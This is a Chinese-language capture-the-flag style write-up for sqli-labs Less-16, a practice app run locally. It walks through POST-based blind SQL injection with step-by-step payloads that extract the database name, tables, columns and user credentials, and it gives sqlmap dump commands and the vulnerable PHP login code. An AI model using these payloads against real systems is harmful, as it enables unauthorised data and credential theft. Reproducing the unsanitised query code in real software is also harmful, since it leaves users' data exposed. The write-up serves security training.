目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、寻找注入点
2、注入数据库
①寻找注入方法
②爆库,查看数据库名称
③爆表,查看security库的所有表
④爆列,查看users表的所有列
⑤成功获取用户名和密码信息
3、sqlmap注入方法
①爆库
②爆表
③爆列
④爆字段
四、源代码分析
五、结论
一、测试环境
1、系统环境
渗透机:本机(127.0.0.1)
靶 机:本机(127.0.0.1)
2、使用工具/软件
火狐浏览器的hackbar插件,版本:2.3.1;
Burp suite,版本:2024.7.2;
测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-16/
二、测试目的
测试post型的sql注入,使用盲注注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。
三、操作过程
1、寻找注入点
尝试提交数据,发现url中没有参数,猜测是post型传参
抓个包看看,是post类型传参,两个注入点:username和password
2、注入数据库
①寻找注入方法
知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道
uname=12&passwd=12&submit=Submit
执行,可以传递数据
加引号或者双引号,都没有任何信息
uname=12'&passwd=12&submit=Submit
uname=12"&passwd=12&submit=Submit
测试闭合方式
经过不断尝试得到闭合符号为 ") 时,页面成功登录
uname=12") or 1=1#&passwd=12&submit=Submit
没有回显结果,能使用盲注
uname=12") or 1=2#&passwd=12&submit=Submit
结果正常显示failed
②爆库,查看数据库名称
爆出当前数据库的长度
uname=12") or (length(database()))=8#&passwd=12&submit=Submit
获取数据库名,第一个字母的ascii码值
(因为要比较ASCII码值,速度很慢,所以手工注入只做个演示)
uname=12") or ascii(substr(database(),1,1))=115#&passwd=12&submit=Submit
第一个字母的ASCII码值为115即s ,其他字母以此类推,更改substr函数的第二个参数(起始位置),获取第二个字母……第三个……
③爆表,查看security库的所有表
爆表同理,获取表中第一行第一个字母,寻找ASCII码值
uname=12 ") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#&passwd=12&submit=Submit
④爆列,查看users表的所有列
同理,找ASCII码值
uname=12 ") or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117#&passwd=das&submit=Submit
⑤成功获取用户名和密码信息
爆字段值,查看username和password字段的所有信息
username字段
uname=12") or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=das&submit=Submit
password字段
uname=12") or ascii(substr((select password from users limit 0,1),1,1))=68#&passwd=das&submit=Submit
3、sqlmap注入方法
①爆库
这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破
Sqlmap稳定发挥,yyds
Burp右键选择copy to file保存
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs
使用python程序
-r 指定抓到的数据包文件
--dbs 是爆库的参数
②爆表
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables
-D 指定数据库,在这个数据库里找数据表
--tables 爆表的参数
③爆列
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns
-D 指定数据库
-T 指定数据表
--columns 爆破列名的参数
④爆字段
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump
-D 指定数据库
-T 指定数据表
-C 指定需要爆破的列名
--dump 爆破字段值的参数
四、源代码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">'; echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">'; echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";}else {echo '<font color= "#0000ff" font size="3">';echo "</br>";echo "</br>";//echo "Try again looser";//print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }
}?>
1.error_reporting(0);函数,关闭了php代码的所有错误报告。
2.检测了用户名和密码是否设置,给变量加了双引号,sql语句中给变量加了括号。
3.这关将执行失败的报错信息也注释掉了,结果不会有显示。不过因为直接调用的变量,存在万能密码漏洞,这样登录成功和失败的结果会不同,可以使用盲注。
4.Sql语句只取一行,注入时会把注释掉。
五、结论
寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。
Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。
寻找闭合符号要有耐心,需要不断地尝试。
用sqlmap的话,只需要指定抓到的数据包即可。
这关使用盲注得到结果,根据true和false的信息,判断数据库信息。